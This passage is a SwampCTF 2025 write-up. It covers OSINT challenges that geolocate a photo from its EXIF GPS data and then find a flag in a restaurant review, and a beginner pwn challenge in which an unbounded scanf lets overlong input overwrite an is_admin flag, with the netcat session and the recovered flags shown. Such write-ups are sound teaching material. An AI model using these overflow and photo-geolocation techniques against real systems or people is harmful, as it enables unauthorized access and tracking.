<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FuzXOTXZ0N91bZMVbPZPE%2Fparty_time.png?alt=media&#x26;token=d7ed311c-5f0f-4885-be33-9fdcc256b77c" alt=""><figcaption><p>Challenge Description</p></figcaption></figure>

In this challenge, I am provided with a `.HEIC` image file titled `party_time.HEIC`, and the goal was to determine the GPS coordinates of where the picture was taken.

`.HEIC` is a High-Efficiency Image Format used commonly by iPhones. These files often retain rich metadata, including GPS data, which can be useful for forensic or OSINT analysis.

I used the `exiftool` utility to inspect the image file:

```bash
 r1pp3r 🔱 god2eye ~/Documents/CTF/swampctf25/osint 
  λ exiftool party_time.HEIC 
ExifTool Version Number         : 12.76
File Name                       : party_time.HEIC
Directory                       : .
File Size                       : 755 kB
File Modification Date/Time     : 2025:03:30 10:18:26+05:30
File Access Date/Time           : 2025:03:30 10:26:57+05:30
File Inode Change Date/Time     : 2025:03:30 10:26:57+05:30
File Permissions                : -rwxrwx---
File Type                       : HEIC
File Type Extension             : heic
MIME Type                       : image/heic
Major Brand                     : High Efficiency Image Format HEVC still image (.HEIC)
Minor Version                   : 0.0.0
Compatible Brands               : mif1, MiHE, MiPr, miaf, MiHB, heic
Handler Type                    : Picture
Primary Item Reference          : 49
Meta Image Size                 : 4032x3024 0 515 2016 1512
XMP Toolkit                     : XMP Core 6.0.0
HDR Gain Map Version            : 65536
Exif Byte Order                 : Big-endian (Motorola, MM)
Make                            : Apple
[...]
Media Data Offset               : 5231
Run Time Since Power Up         : 1 days 5:20:00
Aperture                        : 2.2
Image Size                      : 4032x3024
Megapixels                      : 12.2
Scale Factor To 35 mm Equivalent: 6.3
Shutter Speed                   : 1/30
Create Date                     : 2025:03:26 20:09:20.309-04:00
Date/Time Original              : 2025:03:26 20:09:20.309-04:00
Modify Date                     : 2025:03:26 20:09:20-04:00
GPS Altitude                    : 49.4 m Above Sea Level
GPS Date/Time                   : 2025:03:27 00:09:19Z
GPS Latitude                    : 29 deg 39' 10.32" N
GPS Longitude                   : 82 deg 19' 59.68" W
Circle Of Confusion             : 0.005 mm
Field Of View                   : 104.3 deg
Focal Length                    : 2.2 mm (35 mm equivalent: 14.0 mm)
GPS Position                    : 29 deg 39' 10.32" N, 82 deg 19' 59.68" W
Hyperfocal Distance             : 0.47 m
Light Value                     : 3.2
Lens ID                         : iPhone 14 Pro Max back triple camera 2.22mm f/2.2
```

* Among the metadata fields, we found the GPS information:
  * **GPS Latitude:** `29 deg 39' 10.32" N`
  * **GPS Longitude:** `82 deg 19' 59.68" W`

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FPxlhRDa18MegY7gqlmQg%2Fgoogle_location.png?alt=media&#x26;token=267bedd4-4452-4565-be60-ea72d35610b1" alt=""><figcaption><p>Google Maps - Location</p></figcaption></figure>

Plugging these coordinates into Google Maps pinpointed a location in Florida.

The challenge asked for the coordinates in decimal format (approx):

**swampCTF{29.39,82.19}**

### Party Time! Level 2

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2F3y1V3MVGdTqdDUH4o3Xj%2Fparty_time_2.png?alt=media&#x26;token=d549f077-99ee-42fa-a914-c9236350d0a5" alt=""><figcaption><p>Challenge Description</p></figcaption></figure>

This was a continuation of the previous challenge, where the task was to identify the nearest fast-food restaurant to the discovered GPS coordinates.

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2F5ptB04WFjvMysZwygNsT%2Flocation_near_resturant.png?alt=media&#x26;token=612dce7a-2312-4e48-84d8-2106efe4bbdf" alt=""><figcaption><p>Google Maps - Nearest Fastfood spot</p></figcaption></figure>

From the previous location, I looked up nearby eateries using Google Maps and all I found closest fast-food chain to the location is turned out to be **Checkers**.

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FZMCrEkGmc7fMWe3WkTRu%2Freview_page_flag.png?alt=media&#x26;token=4d66a496-61e3-4aab-9f5b-d3b9da9a3152" alt=""><figcaption><p>Google Maps - Shop Review</p></figcaption></figure>

Upon checking the **Google Maps reviews** for the Checkers location, one of the reviews cheekily contained the flag.

**swampCTF{Checkers\_Yum}**

## Pwn

### Beginner Pwn

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FViz4v8NIKDwDVwmX3a7k%2Fbeginner_pwn.png?alt=media&#x26;token=3878bc9c-5f99-4aec-b872-7b72bb2bf53e" alt=""><figcaption><p>Challenge Description</p></figcaption></figure>

In this challenge, I am provided with a binary file and the corresponding C source code.

This program simulates a basic login scenario. It requests a username input and determines whether the user is an administrator based on a `bool is_admin` flag. If the user is marked as an admin, they are granted access to view the flag.

However, due to poor memory handling and lack of input validation, this binary is **vulnerable to a classic stack-based buffer overflow**.

The vulnerability lies in the following declaration within the `main()` function:

```c
bool is_admin = false;
char username[10] = "XXXXXXXXXX"; // 10-byte buffer
```

Here, the local variables are laid out sequentially on the stack:

```
[ username (10 bytes) ][ is_admin (1 byte + padding) ][ choice (2 bytes) ]
```

Then, the user input is collected via `scanf("%s", username);`. This format specifier does **not** limit input length, meaning the user can overflow the 10-byte `username` buffer and overwrite adjacent stack memory—including the `is_admin` flag.

**`print_stack()`**

This debug function prints the contents of 14 bytes on the stack (from `username[0]` through `is_admin[3]`) in reverse, helping visualize how the overflow corrupts memory:

```c
print_stack(&username, 13);
```

This is useful both for debugging and for seeing how overflowing characters affect memory past the intended buffer boundary.

Because the program does not bound the input, an attacker can input more than 10 bytes to **overflow into the `is_admin` flag**. In C, any non-zero value will evaluate as `true` for a boolean check, so simply writing `'A'` (0x41) past `username[9]` is sufficient.

**Example Exploit Input:**

We initiated a connection to the remote challenge server using netcat:

```bash
r1pp3r 🔱 god2eye ~/Documents/CTF/swampctf25/pwn/beginner_pwn1 
  λ nc chals.swampctf.com 40004
At it\'s most basic, a computer exploit is finding a loophole in a programs logic which can cause unintended behavior. In this program, we demonstrate how buffer overflows can corrupt local variables.

To log into this system, please enter your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
--- Print Stack ---
0x41 (A) = is_admin[3]
0x41 (A) = is_admin[2]
0x41 (A) = is_admin[1]
0x41 (A) = is_admin[0]
0x41 (A) = username[9]
0x41 (A) = username[8]
0x41 (A) = username[7]
0x41 (A) = username[6]
0x41 (A) = username[5]
0x41 (A) = username[4]
0x41 (A) = username[3]
0x41 (A) = username[2]
0x41 (A) = username[1]
0x41 (A) = username[0]
--- End Print ---
Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA is admin
Because the program accepts more characters then it has space to hold, you are able to corrupt the is_admin boolean. And because in C, any Boolean value that isn't 0 is considered "True", it lets you through!
Do you want to print the flag? (y/n) y
Here is your flag! swampCTF{n0t_@11_5t@ck5_gr0w_d0wn}
Exiting!
```

> Because the program accepts more characters then it has space to hold, you are able to corrupt the `is_admin` boolean. And because in C, any Boolean value that isn't 0 is considered "True", it lets you through!

Now, `is_admin` becomes `true`, and the user gains access to the flag:

**swampCTF{n0t\_@11\_5t\@ck5\_gr0w\_d0wn}**
